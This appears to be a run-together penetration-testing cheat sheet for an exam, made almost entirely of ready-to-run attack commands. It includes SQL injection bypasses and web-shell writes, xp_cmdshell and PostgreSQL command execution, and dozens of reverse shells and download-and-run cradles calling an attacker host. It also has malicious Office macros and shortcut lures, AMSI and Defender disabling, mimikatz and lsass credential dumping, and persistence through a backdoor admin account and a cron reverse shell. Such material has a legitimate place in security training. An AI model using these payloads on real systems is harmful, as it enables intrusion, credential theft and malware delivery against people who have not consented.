UnIoN SeLeCt caseUNIunionON SELselectECT the filter strips once and rebuilds the word'/**/OR/**/1=1-- - space'%09OR%091=1-- - '%0aOR%0a1=1-- - tab and newline for space' OR 1=1%23 ' OR 1=1;%00 # and a null byte for the comment' OR 'a'='a no comment needed — it closes the quote itself0x61646d696e CHAR(97,100,109,105,110) 'admin' with no quotes at all%2527 %2520 double url encode, for a filter that decodes once' OR 1 LIKE 1-- - when = is blocked' || 1=1-- - when OR is blocked (mysql needs PIPES_AS_CONCAT off)config files are the prize — a database password in one is usually also an ssh password. mysql needs the FILE privilege and an empty secure_file_priv; postgres and mssql want superuser or sysadmin
' UNION SELECT 1,@@secure_file_priv,3-- - must be empty for load_file to work' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -' UNION SELECT 1,LOAD_FILE('/var/www/html/config.php'),3-- -' UNION SELECT 1,LOAD_FILE('/home/$user1/.ssh/id_rsa'),3-- -' UNION SELECT 1,pg_read_file('/etc/passwd'),3-- -'; CREATE TABLE f(c text); COPY f FROM '/etc/passwd';-- ' UNION SELECT 1,(SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini',SINGLE_CLOB) AS x),3-- needs FILE, an empty secure_file_priv, a writable webroot and the path to it. DUMPFILE with a hex blob survives filters and mangling that OUTFILE does not. Check the webroot with LOAD_FILE on a page you can already see
/var/www/html /var/www /srv/http /usr/share/nginx/html C:\xampp\htdocs C:\inetpub\wwwroot' UNION SELECT 1,'<?php system($_GET["c"]); ?>',3 INTO OUTFILE '/var/www/html/x.php'-- -' UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/x.php'-- -echo -n "<?php system(\$_GET['c']); ?>" | xxd -p | tr -d '\n'curl -s "http://$ip/x.php?c=id"curl -s "http://$ip/x.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/$lhost/$lport+0>%261'"xp_cmdshell is off by default and only sysadmin can turn it on. Not sysadmin? Look for a login you can impersonate or a linked server where you are sysadmin, and run it there — the recon page has both
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- '; EXEC xp_cmdshell 'whoami';-- '; EXEC('master..xp_cmdshell ''whoami''');-- '; EXEC xp_cmdshell 'powershell -c "iwr http://$lhost:8000/nc.exe -OutFile C:\Windows\Temp\nc.exe; C:\Windows\Temp\nc.exe $lhost $lport -e cmd"';-- # output does not come back? write it where you can read it'; CREATE TABLE o(l nvarchar(4000)); INSERT INTO o EXEC xp_cmdshell 'whoami';-- ' UNION SELECT 1,(SELECT STRING_AGG(l,CHAR(10)) FROM o),3-- COPY FROM PROGRAM needs superuser and postgres 9.3 or newer. Read the output back out of the table — the command runs whether or not the page shows you anything
'; CREATE TABLE cmd(o text); COPY cmd FROM PROGRAM 'id';-- ' UNION SELECT 1,string_agg(o,chr(10)),3 FROM cmd-- -'; COPY cmd FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/$lhost/$lport 0>&1"';-- '; COPY (SELECT '<?php system($_GET["c"]); ?>') TO '/var/www/html/x.php';-- the dump is not the flag. Hashes go to the cracker, cracked passwords go at every service on the box and every other box, and database creds mean you can stop injecting and just log in
hashcat -m 0 $workdir/loot/hashes.md $rockyoujohn --wordlist=$rockyou $workdir/loot/hashes.mdnxc smb $ip -u $userlist -p $passlist --continue-on-successssh $user1@$ipmysql -h $ip -u $user1 -p"$pass1" -e 'show databases'psql "postgresql://$user1:$pass1@$ip:5432/postgres"impacket-mssqlclient "$user1:$pass1@$ip"banned on the exam. Everything it does is in the cards above, by hand — which is the point of doing it by hand now
sqlmap -u "http://$ip/page.php?id=1" --batch --dbssqlmap -r request.txt --batch --dumpsqlmap -u "http://$ip/page.php?id=1" --batch --os-shellweb — injection [10]
../../../../etc/passwd....//....//....//etc/passwd..%2f..%2f..%2f..%2fetc%2fpasswd/proc/self/environ/proc/self/cmdlineC:\Windows\System32\drivers\etc\hostsC:\inetpub\wwwroot\web.configC:\xampp\apache\conf\httpd.confphp://filter/convert.base64-encode/resource=index.phpphp://filter/convert.base64-encode/resource=../config.phpdata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=idexpect://idhttp://$lhost:8000/shell.txtcurl -s -A "<?php system(\$_GET['c']); ?>" http://$ip/curl -s "http://$ip/index.php?page=../../../../var/log/apache2/access.log&c=id"curl -s "http://$ip/index.php?page=../../../../xampp/apache/logs/access.log&c=whoami"curl -s "http://$ip/index.php?page=../../../../var/log/auth.log&c=id"ffuf -u "http://$ip/index.php?page=FUZZ" -w $seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0; id| id|| id&& id`id`$(id)%0aid; ping -c 3 $lhostsudo tcpdump -i tun0 icmp& whoami| whoami%26 whoami(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell{{7*7}}${7*7}<%= 7*7 %>{{config.items()}}{{''.__class__.__mro__[1].__subclasses__()}}<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>http://$lhost:8000/xhttp://127.0.0.1:8080/ http://localhost/admin http://[::1]/http://127.1/ http://0x7f000001/ http://2130706433/ http://0/file:///etc/passwdffuf -u "http://$ip/fetch?url=http://127.0.0.1:FUZZ/" -w <(seq 1 65535) -fs 0 -t 100<script>new Image().src="http://$lhost:8000/?c="+document.cookie</script><script src="http://$lhost:8000/x.js"></script>web — uploads & apps [9]
.phtml .phar .php5 .php7 .phps .pht .incshell.php.jpg shell.jpg.php shell.PHP shell.php%00.jpgContent-Type: image/jpeg../../../../var/www/html/shell.php../../../../root/.ssh/authorized_keys.aspx .asp .ashx .asmx .configsudo responder -I tun0 -Aprintf '[Shell]\nCommand=2\nIconFile=\\\\$lhost\\share\\icon.ico\n[Taskbar]\nCommand=ToggleDesktop\n' > $workdir/.tools/@readme.scfcurl -s -F "file=@$workdir/.tools/@readme.scf" http://$ip/uploadcurl -s -F "file=@$workdir/.tools/shell.php" http://$ip/upload.phpcurl -s -F "file=@$workdir/.tools/shell.php;type=image/jpeg;filename=shell.phtml" http://$ip/upload.phpwhen the extension list cannot be beaten, teach apache a new one
echo 'AddType application/x-httpd-php .evil' > .htaccess# plugins > add new > upload: a zip holding shell.php, then /wp-content/plugins/<name>/shell.php# appearance > theme editor > 404.php, paste the reverse shell, then /wp-content/themes/<theme>/404.phpcat wp-config.php | grep -E 'DB_(USER|PASSWORD|HOST)'admin:admin admin:password admin:<product> root:root tomcat:tomcat tomcat:s3cret admin:changemecurl -s -u admin:admin http://$ip/manager/htmlmsfvenom -p java/jsp_shell_reverse_tcp lhost=$lhost lport=$lport -f war -o $workdir/.tools/shell.warcurl -s -u tomcat:s3cret -T $workdir/.tools/shell.war "http://$ip:8080/manager/text/deploy?path=/shell"curl -s http://$ip:8080/shell/# /script : println "bash -c 'bash -i >& /dev/tcp/$lhost/$lport 0>&1'".execute().text# /script : println "cmd /c whoami".execute().textjwt_tool <token> -C -d $rockyouhashcat -m 16500 jwt.md $rockyoupasswords [6]
hydra -l $user1 -P $rockyou ssh://$ip -t 4hydra -L $userlist -P $passlist ftp://$iphydra -L $userlist -p $pass1 rdp://$iphydra -l $user1 -P $rockyou $ip http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid"hydra -l $user1 -P $rockyou -s $port $ip http-get /nxc smb $ip -u $userlist -p $pass1 --continue-on-successnxc smb $ip -u $userlist -p $passlist --no-bruteforce --continue-on-successnxc ssh $ip -u $userlist -p $passlistnxc winrm $ip -u $userlist -p $passlistnxc mssql $ip -u $userlist -p $passlist --local-authffuf -u http://$ip/login.php -X POST -d "user=$user1&pass=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -w $rockyou -fr "Invalid"the site's words plus the usual suffixes beats rockyou on a box that has a theme
hashcat --stdout $passlist -r /usr/share/hashcat/rules/best64.rule | sort -u > $workdir/mutated.mdfor w in $(cat $passlist); do for s in 1 123 2024 2025 ! 2024! 2025!; do echo "$w$s"; done; done >> $workdir/mutated.mdchmod 600 id_rsa && ssh -i id_rsa $user1@$ipssh2john id_rsa > key.hash && john --wordlist=$rockyou key.hash"no matching host key type", "no mutual signature algorithm" and "no matching key exchange method" are your client being newer than the box, not a bad key or password. Re-enable what it dropped
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -i id_rsa $user1@$ipssh -o KexAlgorithms=+diffie-hellman-group1-sha1,diffie-hellman-group14-sha1 -o HostKeyAlgorithms=+ssh-rsa,ssh-dss $user1@$ipssh -o IdentitiesOnly=yes -i id_rsa $user1@$ipssh -vv $user1@$ip 2>&1 | grep -iE 'offer|no matching|mutual'shells [12]
bash -i >& /dev/tcp/$lhost/$lport 0>&1bash -c "bash -i >& /dev/tcp/$lhost/$lport 0>&1"sh -i >& /dev/tcp/$lhost/$lport 0>&1nc -e /bin/bash $lhost $lportrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $lhost $lport >/tmp/fpython3 -c 'import socket,os,pty;s=socket.socket();s.connect(("$lhost",$lport));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'perl -e 'use Socket;$i="$lhost";$p=$lport;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'powershell -nop -w hidden -c "$c=New-Object System.Net.Sockets.TCPClient('$lhost',$lport);$s=$c.GetStream();$b=New-Object byte[] 65536;$e=New-Object System.Text.ASCIIEncoding;while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=$e.GetString($b,0,$i);$r=(iex $d 2>&1|Out-String)+'PS> ';$o=$e.GetBytes($r);$s.Write($o,0,$o.Length);$s.Flush()};$c.Close()"for when quotes will not survive the injection point. Build the base64 on kali, utf-16le is not optional
echo -n '$c=New-Object System.Net.Sockets.TCPClient("$lhost",$lport);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String)+"PS> ";$o=([text.encoding]::ASCII).GetBytes($r);$s.Write($o,0,$o.Length);$s.Flush()};$c.Close()' | iconv -t UTF-16LE | base64 -w0powershell -nop -w hidden -enc <base64>C:\Windows\Temp\nc.exe $lhost $lport -e cmd.exeC:\Windows\Temp\nc.exe $lhost $lport -e powershell.exeplain shell payloads, not meterpreter, so none of these count as the metasploit target
msfvenom -p linux/x64/shell_reverse_tcp lhost=$lhost lport=$lport -f elf -o $workdir/.tools/shell.elfmsfvenom -p windows/x64/shell_reverse_tcp lhost=$lhost lport=$lport -f exe -o $workdir/.tools/shell.exemsfvenom -p windows/x64/shell_reverse_tcp lhost=$lhost lport=$lport -f exe-service -o $workdir/.tools/svc.exemsfvenom -p windows/x64/shell_reverse_tcp lhost=$lhost lport=$lport -f dll -o $workdir/.tools/evil.dllmsfvenom -p windows/x64/shell_reverse_tcp lhost=$lhost lport=$lport -f msi -o $workdir/.tools/evil.msimsfvenom -p windows/x64/shell_reverse_tcp lhost=$lhost lport=$lport -f aspx -o $workdir/.tools/shell.aspxmsfvenom -p php/reverse_php lhost=$lhost lport=$lport -f raw -o $workdir/.tools/shell.phpmsfvenom -p java/jsp_shell_reverse_tcp lhost=$lhost lport=$lport -f war -o $workdir/.tools/shell.warkali ships a set — the php reverse shell wants its ip and port edited
<?php system($_GET['c']); ?><?php echo shell_exec($_REQUEST['c']); ?><% eval request("c") %>cp /usr/share/webshells/php/php-reverse-shell.php $workdir/.tools/shell.php && sed -i "s/127.0.0.1/$lhost/; s/1234/$lport/" $workdir/.tools/shell.phpcurl "http://$ip/shell.php?c=id"Ctrl-Z after the first line, the stty line on kali, then fg
python3 -c 'import pty;pty.spawn("/bin/bash")'stty raw -echo; fgexport TERM=xterm SHELL=/bin/bash; stty rows 50 cols 200socat file:$(tty),raw,echo=0 tcp-listen:$lportsocat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$lhost:$lportevil-winrm -i $ip -u $user1 -p $pass1xfreerdp /v:$ip /u:$user1 /p:$pass1 /cert:ignore /dynamic-resolutionrlwrap nc -lnvp $lportevil-winrm -i $ip -u $user1 -p $pass1 -s $workdir/.tools/ -e $workdir/.tools/upload $workdir/.tools/winPEASx64.exe C:\Windows\Temp\w.exedownload C:\Users\$user1\Desktop\local.txt $workdir/loot/local.mdmenuPowerView.ps1Invoke-Binary $workdir/.tools/Rubeus.exe triageBypass-4MSItab completion, arrow keys, and a ctrl-c that goes to the program rather than killing the shell. Windows 10 1809 or Server 2019 and newer. The stty line goes on kali before the listener, and reset puts the terminal back afterwards
stty raw -echo; (stty size; cat) | nc -lvnp $lportIEX(IWR http://$lhost:8000/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell $lhost $lport.\ConPtyShell.exe $lhost $lportresetfile transfer [8]
python3 -m http.server 8000 --directory $workdir/.toolsimpacket-smbserver share $workdir/.tools -smb2supportimpacket-smbserver share $workdir/.tools -smb2support -user share -password sharecurl -sO http://$lhost:8000/linpeas.sh || wget http://$lhost:8000/linpeas.shcurl -sL http://$lhost:8000/linpeas.sh | bashiwr first. certutil when powershell is awkward. smb when the box blocks http but not 445
powershell -c "iwr http://$lhost:8000/nc.exe -OutFile C:\Windows\Temp\nc.exe"powershell -c "(New-Object Net.WebClient).DownloadFile('http://$lhost:8000/nc.exe','C:\Windows\Temp\nc.exe')"certutil -urlcache -f http://$lhost:8000/nc.exe C:\Windows\Temp\nc.execopy \\$lhost\share\nc.exe C:\Windows\Temp\nc.exenet use \\$lhost\share /u:share sharepowershell -ep bypass -c "iex(iwr http://$lhost:8000/PowerUp.ps1 -UseBasicParsing); Invoke-AllChecks"powershell -ep bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$lhost:8000/PowerView.ps1'); Get-NetDomain"for a shell that is not interactive enough for anything else. pyftpdlib on kali
python3 -m pyftpdlib -p 21 -w -d $workdir/.toolsecho open $lhost> ftp.txt & echo anonymous>> ftp.txt & echo pass>> ftp.txt & echo binary>> ftp.txt & echo GET nc.exe>> ftp.txt & echo bye>> ftp.txtftp -v -n -s:ftp.txtnc -lvnp $lport > $workdir/loot/filenc $lhost $lport < /path/to/filescp /path/to/file kali@$lhost:$workdir/loot/base64 -w0 /path/to/fileecho '<paste>' | base64 -d > $workdir/loot/filesmb is the easy one. The upload server catches a POST when 445 is blocked
copy C:\path\file \\$lhost\share\python3 -m uploadserver 8000 --directory $workdir/lootpowershell -c "$b=[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\path\file')); iwr -Uri http://$lhost:8000/ -Method POST -Body $b"certutil -encode C:\path\file C:\Windows\Temp\file.b64 & type C:\Windows\Temp\file.b64scp $user1@$ip:/path/to/file $workdir/loot/scp $workdir/.tools/linpeas.sh $user1@$ip:/tmp/client-side [6]
word > view > macros > create. VBA strings cap at 255 characters, so the encoded command is split across Str = Str + lines
vba
Sub AutoOpen() MyMacroEnd SubSub Document_Open() MyMacroEnd SubSub MyMacro() Dim Str As String Str = Str + "powershell.exe -nop -w hidden -enc " Str = Str + "<base64 chunk>" CreateObject("Wscript.Shell").Run StrEnd Subpython3 -c "s=open('enc.txt').read().strip(); [print('Str = Str + \"'+s[i:i+50]+'\"') for i in range(0,len(s),50)]"<html><head><script language="VBScript">Set o = CreateObject("Wscript.Shell"):o.Run "powershell -nop -w hidden -enc <base64>",0:self.close</script></head></html>a .Library-ms pointing at your webdav share, holding a .lnk that runs the cradle. wsgidav serves the share
library-ms
pip3 install wsgidav && wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root $workdir/.tools/webdav# config.Library-ms — edit the url, then double-click opens the share<?xml version="1.0" encoding="UTF-8"?><libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library"> <name>@windows.storage.dll,-34582</name> <version>6</version> <isLibraryPinned>true</isLibraryPinned> <iconReference>imageres.dll,-1003</iconReference> <templateInfo><folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType></templateInfo> <searchConnectorDescriptionList><searchConnectorDescription> <isDefaultSaveLocation>true</isDefaultSaveLocation><isSupported>false</isSupported> <simpleLocation><url>http://$lhost</url></simpleLocation> </searchConnectorDescription></searchConnectorDescriptionList></libraryDescription># the .lnk target:powershell.exe -c "iwr http://$lhost:8000/nc.exe -OutFile C:\Windows\Temp\nc.exe; C:\Windows\Temp\nc.exe $lhost $lport -e cmd"the shortcut that goes in the webdav share next to the library file. Build it on kali with pylnk3, or on any windows box through the shell object. The icon is what makes it look like a settings file rather than a script
pipx install pylnk3pylnk3 c 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $workdir/.tools/webdav/automatic_configuration.lnk -a '-nop -w hidden -enc <base64>' -i 'C:\Windows\System32\imageres.dll' --icon-index 109# on windows:$s=(New-Object -ComObject WScript.Shell).CreateShortcut("$env:TEMP\automatic_configuration.lnk"); $s.TargetPath="powershell.exe"; $s.Arguments="-nop -w hidden -enc <base64>"; $s.IconLocation="imageres.dll,109"; $s.Save()swaks --to $user1@$domain --from it@$domain --server $ip --header "Subject: please review" --body "attached" --attach @$workdir/.tools/doc.docmon the box
the first ten minutes after a shell. Proof, then who and what and where, before any privesc
first ten minutes [6]
id; hostname; cat /etc/os-release; ip awhoami /all & hostname & systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" & ipconfig /allfind / -name local.txt 2>/dev/null; cat ~/local.txt /home/*/local.txt 2>/dev/nulldir /s /b C:\local.txt C:\Users\*\Desktop\local.txt 2>nultype C:\Users\*\Desktop\local.txtanother interface or a route you did not scan means a pivot. Set subnet and pivot now
ip a; ip route; cat /etc/hosts; arp -aipconfig /all & route print & arp -aa service bound to 127.0.0.1 is one nmap never saw — forward it (pivoting) and scan it
ss -tulpnnetstat -ano | findstr LISTENINGGet-NetTCPConnection -State Listen | select LocalAddress,LocalPort,OwningProcessw; last -a | head; cat /etc/passwd | grep -vE 'nologin|false'query user & net user & net localgroup administratorspython3 -c 'import pty;pty.spawn("/bin/bash")'powershell -ep bypasslinux — enumerate [4]
sudo -lfind / -perm -4000 -type f 2>/dev/nullcat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.*/curl -sL http://$lhost:8000/linpeas.sh | bashcurl -sL http://$lhost:8000/linpeas.sh | bash -s -- -a 2>&1 | tee $workdir/loot/linpeas.md./pspy64id; sudo -l; uname -a; cat /etc/os-releasels -la /home /opt /srv /var/backups /var/wwwgetcap -r / 2>/dev/nullps aux --sort=-%cpu | head -30ps aux | grep -E '^root' | grep -vE '\[|sshd|cron|systemd'env; echo $PATHdpkg -l | grep -iE 'docker|mysql|postgres|python'find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys|dev|run|tmp)'find / -writable -type f 2>/dev/null | grep -vE '^/(proc|sys|dev|run)'ls -la /etc/passwd /etc/shadow /etc/sudoers /etc/sudoers.dwindows — enumerate [9]
SeImpersonate, SeBackup, SeRestore, SeDebug, SeTakeOwnership, SeManageVolume — any of these is a privesc on its own
whoami /privwhoami /groupsnet user %USERNAME%net localgroup administratorsGet-LocalUser | select Name,Enabled,LastLogonGet-LocalGroupMember Administratorssysteminfosysteminfo > C:\Windows\Temp\sysinfo.mdwmic qfe get Caption,Description,HotFixID,InstalledOn[System.Environment]::OSVersion.VersionGet-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select DisplayName,DisplayVersionGet-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select DisplayName,DisplayVersiondir "C:\Program Files" "C:\Program Files (x86)"wmic product get name,versiontasklist /svcGet-Process | select ProcessName,Id,PathGet-CimInstance -ClassName win32_service | select Name,State,PathName | where {$_.State -like 'Running'}wmic service get name,displayname,pathname,startmodeschtasks /query /fo LIST /v | findstr /i "TaskName Author Run Task"Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,Stateschtasks /query /tn "<name>" /fo list /vipconfig /allroute printnetstat -anoarp -anet sharenet useGet-MpComputerStatus | select AntivirusEnabled,RealTimeProtectionEnablednetsh advfirewall show allprofiles stateGet-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections$ExecutionContext.SessionState.LanguageModeGet-History(Get-PSReadlineOption).HistorySavePathtype C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt.\winPEASx64.exe.\winPEASx64.exe quiet servicesinfopowershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"python3 wes.py --update && python3 wes.py $workdir/loot/sysinfo.md -i 'Elevation of Privilege' --exploits-onlywindows — defender in the way [6]
the defences card above tells you it is on. This is what to do about it. None of it is an exam rule problem — it is your own tooling being eaten
Get-MpComputerStatus | select AntivirusEnabled,RealTimeProtectionEnabled,IoavProtectionEnabled,AMServiceEnabledGet-MpPreference | select ExclusionPath,ExclusionExtension,DisableRealtimeMonitoringGet-MpThreatDetection | sort InitialDetectionTime -Desc | select -First 5 ProcessName,Resourcespowershell scripts are scanned as they load — the "This script contains malicious content" error. Break up the strings AMSI matches on and the scan says yes. When this exact line is caught too, amsi.fail builds a fresh one
$a=[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils');$a.GetField('amsi'+'InitFailed','NonPublic,Static').SetValue($null,$true)# evil-winrm has one built in:Bypass-4MSI# then load whatever was blocked:iex(iwr http://$lhost:8000/PowerView.ps1 -UseBasicParsing)a file on disk is scanned the moment it is written. A script pulled straight into iex, or a .NET exe loaded by reflection or by evil-winrm, never touches the disk
powershell -ep bypass -c "iex(iwr http://$lhost:8000/PowerUp.ps1 -UseBasicParsing); Invoke-AllChecks"powershell -ep bypass -c "iex(iwr http://$lhost:8000/winPEAS.ps1 -UseBasicParsing)"$d=(New-Object Net.WebClient).DownloadData('http://$lhost:8000/winPEASx64.exe'); [Reflection.Assembly]::Load($d) | Out-Null; [winPEAS.Program]::Main("")Invoke-Binary $workdir/.tools/winPEASx64.exethe obfuscated build gets further, the .bat needs no .NET and is rarely flagged, and the ps1 is a port that misses things. Or skip it — every check it does is in the privesc phase by hand
iwr http://$lhost:8000/winPEASany_ofs.exe -OutFile C:\Windows\Temp\w.exe; C:\Windows\Temp\w.exe quiet servicesinfoiwr http://$lhost:8000/winPEAS.bat -OutFile C:\Windows\Temp\w.bat; C:\Windows\Temp\w.batpowershell -ep bypass -c "iex(iwr http://$lhost:8000/PowerUp.ps1 -UseBasicParsing); Invoke-AllChecks"it is the most signatured binary there is. The powershell one-liner in foothold > shells replaces it, encoded if quotes are a problem. When it has to be an exe, a bare msfvenom shell rarely survives — run it through shellter. That payload is staged, so catch it with multi/handler, which is fine on the exam
powershell -nop -w hidden -enc <base64>sudo dpkg --add-architecture i386 && sudo apt update && sudo apt install -y shellter wine32 && shellter# shellter: A (auto) > PE target: a real exe, putty.exe > stealth N > payloads L > 5 (Shell_Reverse_TCP) > $lhost $lportmsfconsole -q -x "use multi/handler; set payload windows/shell/reverse_tcp; set lhost $lhost; set lport $lport; run -j"needs a high-integrity shell — evil-winrm or psexec, not a UAC-limited desktop one. Tamper protection stops the first line on a current box; the exclusion usually still goes through
Set-MpPreference -DisableRealtimeMonitoring $trueAdd-MpPreference -ExclusionPath C:\Windows\TempSet-MpPreference -DisableIOAVProtection $truenetsh advfirewall set allprofiles state offlinux — loot [5]
grep -rEi "pass(word)?|pwd|secret|token|api[_-]?key" /etc /opt /home /var/www /srv 2>/dev/null | grep -vE 'Binary|\.js:'cat ~/.bash_history /home/*/.*_history /root/.bash_history 2>/dev/nullfind / \( -name "*.kdbx" -o -name ".env" -o -name "*config*.php" -o -name "id_rsa*" -o -name "*.pem" -o -name "*.sqlite" \) -not -path "/proc/*" 2>/dev/nullenv; cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i passls -la /home/*/.ssh /root/.ssh 2>/dev/nullcat /home/*/.ssh/id_rsa /home/*/.ssh/authorized_keys 2>/dev/nullfind /var/www -name "*config*" -o -name "*.env" -o -name "settings.py" -o -name "database.yml" 2>/dev/null | xargs grep -iE 'pass|user|db' 2>/dev/nullcat /var/www/html/wp-config.php | grep -E 'DB_'mysql -u root -e 'show databases' 2>/dev/nullreadable shadow is a privesc. Writable passwd is a bigger one
cat /etc/shadowunshadow /etc/passwd /etc/shadow > $workdir/loot/unshadowed.md && john --wordlist=$rockyou $workdir/loot/unshadowed.mdsu reads the terminal, so this needs a real tty
su - rootsu - $user2for u in $(cut -d: -f1 /etc/passwd); do echo "$pass1" | timeout 1 su $u -c id 2>/dev/null && echo " ^ $u"; donewindows — loot [10]
Get-ChildItem -Path C:\Users -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.kdbx,*.ini,*.config,*.xml,*.ps1,*.bat -File -Recurse -EA SilentlyContinueGet-ChildItem -Path C:\xampp,C:\inetpub,"C:\Program Files" -Include *.txt,*.ini,*.config,*.xml -File -Recurse -EA SilentlyContinuefindstr /si password *.xml *.ini *.txt *.config *.ps1 *.bat 2>nuldir /s /b C:\*pass* C:\*cred* C:\*.kdbx C:\*unattend* 2>nulreg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "DefaultUserName DefaultPassword"reg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /sreg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /sreg query "HKCU\Software\ORL\WinVNC3\Password"a saved credential is a shell as that user — runas /savecred
cmdkey /listrunas /savecred /user:$domain\$adminu "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"type C:\Unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\System32\Sysprep\sysprep.xml 2>nul | findstr /i "password"the live SAM is locked, a backup of it is not. Any of these that reads is the local admin hash without needing admin first
dir C:\Windows\Repair\SAM C:\Windows\System32\config\RegBack\SAM C:\Windows\System32\config\SAM.bak 2>nulicacls C:\Windows\System32\config\SAMcopy C:\Windows\Repair\SAM \\$lhost\share\sam & copy C:\Windows\Repair\SYSTEM \\$lhost\share\systemimpacket-secretsdump -sam sam -system system LOCALa transcript is every command typed, with its output. An Export-Clixml or ConvertFrom-SecureString file only decrypts as the user who wrote it, on the box that wrote it — so decrypt it from a shell as them, not on kali
dir /s /b C:\Users\*\Documents\PowerShell_transcript* C:\Transcripts 2>nuldir /s /b C:\Users\*.xml C:\Scripts\*.xml 2>nul | findstr /i "cred pass"$c = Import-Clixml C:\path\cred.xml; $c.Username; $c.GetNetworkCredential().Password$s = Get-Content C:\path\pass.txt | ConvertTo-SecureString; (New-Object System.Management.Automation.PSCredential('x', $s)).GetNetworkCredential().Passwordtype C:\inetpub\wwwroot\web.config | findstr /i "connectionString password"type C:\xampp\htdocs\*config*.php C:\xampp\passwords.txt 2>nultype C:\Windows\System32\inetsrv\config\applicationHost.config | findstr /i "password"cpassword in sysvol decrypts with a published key
findstr /S /I cpassword \\$dc\sysvol\$domain\Policies\*.xmlgpp-decrypt <cpassword>nxc smb $dc -u $user1 -p $pass1 -M gpp_passwordGet-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -EA SilentlyContinuekeepass2john db.kdbx > kdbx.hash && hashcat -m 13400 kdbx.hash $rockyounetsh wlan show profilesnetsh wlan show profile name="<ssid>" key=clearwindows — dump creds [4]
needs local admin, and a high-integrity shell (evil-winrm or psexec give you one; a UAC-limited desktop shell does not)
.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::lsa /patch" "exit"# inside it:privilege::debugtoken::elevatesekurlsa::logonpasswordslsadump::samlsadump::lsa /patchlsadump::secretslsadump::cachesekurlsa::tickets /exportsave the hives and pull them back, or dump lsass with a signed binary
reg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\system & reg save HKLM\SECURITY C:\Windows\Temp\securityimpacket-secretsdump -sam sam -system system -security security LOCALrundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp fullpypykatz lsa minidump lsass.dmpnxc smb $ip -u $adminu -p $adminp --sam --lsanxc smb $ip -u $adminu -H $adminh --sam --lsanxc smb $ip -u $adminu -p $adminp -M lsassyimpacket-secretsdump "$domain/$adminu:$adminp@$ip"impacket-secretsdump -hashes :$adminh "$domain/$adminu@$ip"NT hashes pass straight in. NetNTLMv2 (from responder) only cracks
hashcat -m 1000 ntlm.md $rockyouhashcat -m 5600 netntlmv2.md $rockyounxc smb $ip -u $user1 -H $hash1evil-winrm -i $ip -u $user1 -H $hash1make life easier [5]
net user hacker 'Pass4Pentest1' /add && net localgroup administrators hacker /add && net localgroup "Remote Desktop Users" hacker /addreg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /fnetsh advfirewall firewall set rule group="remote desktop" new enable=Yesxfreerdp /v:$ip /u:hacker /p:'Pass4Pentest1' /cert:ignore /dynamic-resolutionEnable-PSRemoting -Forcewinrm quickconfig -qssh-keygen -q -N '' -f $workdir/box_keymkdir -p ~/.ssh && echo 'ssh-ed25519 AAAA...' >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keysecho '* * * * * bash -c "bash -i >& /dev/tcp/$lhost/$lport 0>&1"' | crontab -privesc — linux
